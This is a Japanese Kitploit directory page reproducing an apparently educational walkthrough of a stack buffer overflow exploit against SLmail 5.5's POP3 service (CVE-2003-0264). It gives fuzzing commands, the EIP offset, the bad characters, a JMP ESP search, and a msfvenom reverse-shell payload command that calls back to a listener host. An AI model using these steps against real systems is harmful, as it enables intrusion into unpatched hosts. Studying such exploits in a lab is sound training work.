Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2003-0264_EXPLOIT — Seattle Lab Mail (SLmail) 5.5 におけるバッファオーバーフロー - POP3 | Kitploit
ツール/GitHubGitHub/vrikodar/cve-2003-0264_exploit
エクスプロイトシェルコードデバッガファジングペネトレーションテスト学習と教育ペイロード開発バイナリエクスプロイト
GitHubvrikodar/cve-2003-0264_exploit

CVE-2003-0264_EXPLOIT

Seattle Lab Mail (SLmail) 5.5 におけるバッファオーバーフロー - POP3

リポジトリを見る
5年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト

CVE-2003-0264_EXPLOIT

Seattle Lab Mail (SLmail) 5.5 - POP3 におけるバッファオーバーフロー

シンプルなスタックベースのバッファオーバーフロー ステップバイステップ

1) アプリケーションのファズ

最初のステップでは、シンプルな Spike スクリプトを使用してアプリケーションをファズします。

その間、SLmail は Immunity Debugger にアタッチ(および実行)された状態にします。

Spike の詳細: https://resources.infosecinstitute.com/topic/intro-to-fuzzing/

以下は、spike_fuzz.spk という名前のシンプルな Spike スクリプトです。

次のコマンドを使用してアプリケーションに対して実行します。

root@kitploit:~
  line_send_tcp 192.168.1.117 110 spike_fuzz.spk

ここで、192.168.1.117 は SLMail を実行しているターゲットマシンの IP で、ポート 110 で動作しています。

Capture

一方、Immunity を確認すると、アプリケーションがクラッシュしていることがわかります。

Capture

2) クラッシュを再現するための PoC

次に、クラッシュを再現し、アプリケーションがクラッシュするバイト数を計算する Python の PoC を作成します。

root@kitploit:~
           python poc_crash.py

Capture

3) オフセットの特定

オフセットを見つけるために msf を利用します。

root@kitploit:~
      1. まずパターンを生成する
      2. EIP を記録する
      3. その EIP と長さを MSF でクエリしてオフセットを見つける

msf-pattern_create -l 2700

Capture

poc_offset.py では、このパターンをオーバーフローバッファとして利用します!

root@kitploit:~
       python poc_offset.py

Capture

この時点で、アプリケーションがクラッシュして停止した Immunity 上の EIP 値も記録します。

Capture

root@kitploit:~
        EIP は 39694438
        ::オフセットを見つける::
        
        msf-pattern_offset -l 2700 -q 39694438

Capture

オフセットは 2606 です。つまり、EIP に到達するまでに 2606 バイトあり、EIP 自体は 4 バイトです。

4) EIP の制御

次に、EIP を 4 つの B で上書きしてみます。つまり、Immunity では 42424242(4 つの B の 16 進数)が表示されるはずです。

root@kitploit:~
        python poc_eip_control.py

Capture

それでは Immunity を確認します。

Capture

5) 不正な文字(Bad Characters)の特定

これを簡潔にまとめます。

poc_badchars.py スクリプトを実行して、自分で不正な文字を見つけることができます。

簡潔にするために

このアプリケーションには 2 つの不正な文字(デフォルトのものも含む)があります。poc_badchars.py を初めて実行すると、文字 \x0a が問題を起こすことがわかります。そこで、これを不正な文字ペイロードから削除し、スクリプトを再実行します。2 回目には、文字 \x0d がスキップされることがわかります。これが 2 番目の不正な文字であり、ペイロードから削除します。その後、3 回目にスクリプトを実行すると、すべてが正常になります。

root@kitploit:~
        不正な文字は :: \x00\x0a\x0d
        {ヌルバイト、改行、キャリッジリターン}

        python poc_badchars.py

6) 適切なモジュールとアドレスの特定

まず、Immunity の Mona モジュールを使用して適切なモジュールを見つけます。

root@kitploit:~
              slmfc.dll は、メモリ保護がないため最も適切な候補です。

Capture

次に、この DLL 内で JMP ESP のアドレスを見つけます。

このアドレスを EIP に書き込むことで、プログラムの実行を ESP にリダイレクトし、シェルコードを実行できるようにします。

root@kitploit:~
        !mona find -s "\xff\xe4" -m slmfc.dll
        
        {\xff\xe4 は JMP ESP のオペコード相当}

Capture

19 個のポインタアドレスから最初のものを選択します。

7) シェルの入手

ここで、すべてを組み合わせてシェルを入手します。

root@kitploit:~
              1.) シェルコードを生成する(不正な文字を除く)
              2.) 見つけたアドレスを追加する(リトルエンディアンを忘れずに)
              3.) バッファ、リターンアドレス、NOP スレッド、シェルコードを追加する
              4.) シェルが手に入る

msfvenom を使用してシェルコードをすばやく生成しましょう。

root@kitploit:~
        msfvenom -p windows/shell_reverse_tcp LHOST=<リッスンIP> LPORT=<リッスンポート> EXITFUNC=thread -f py -a x86 -b "\x00\x0a\x0d"

Capture

すべてを exploit.py ファイルにまとめます。

Capture

今回は Immunty なしで SLmail を実行し、同時に着信接続をリッスンします。

これが完了したら、最終的な exploit.py スクリプトを実行します。

Capture

素晴らしい!シェルを入手しました!

ツールをダウンロード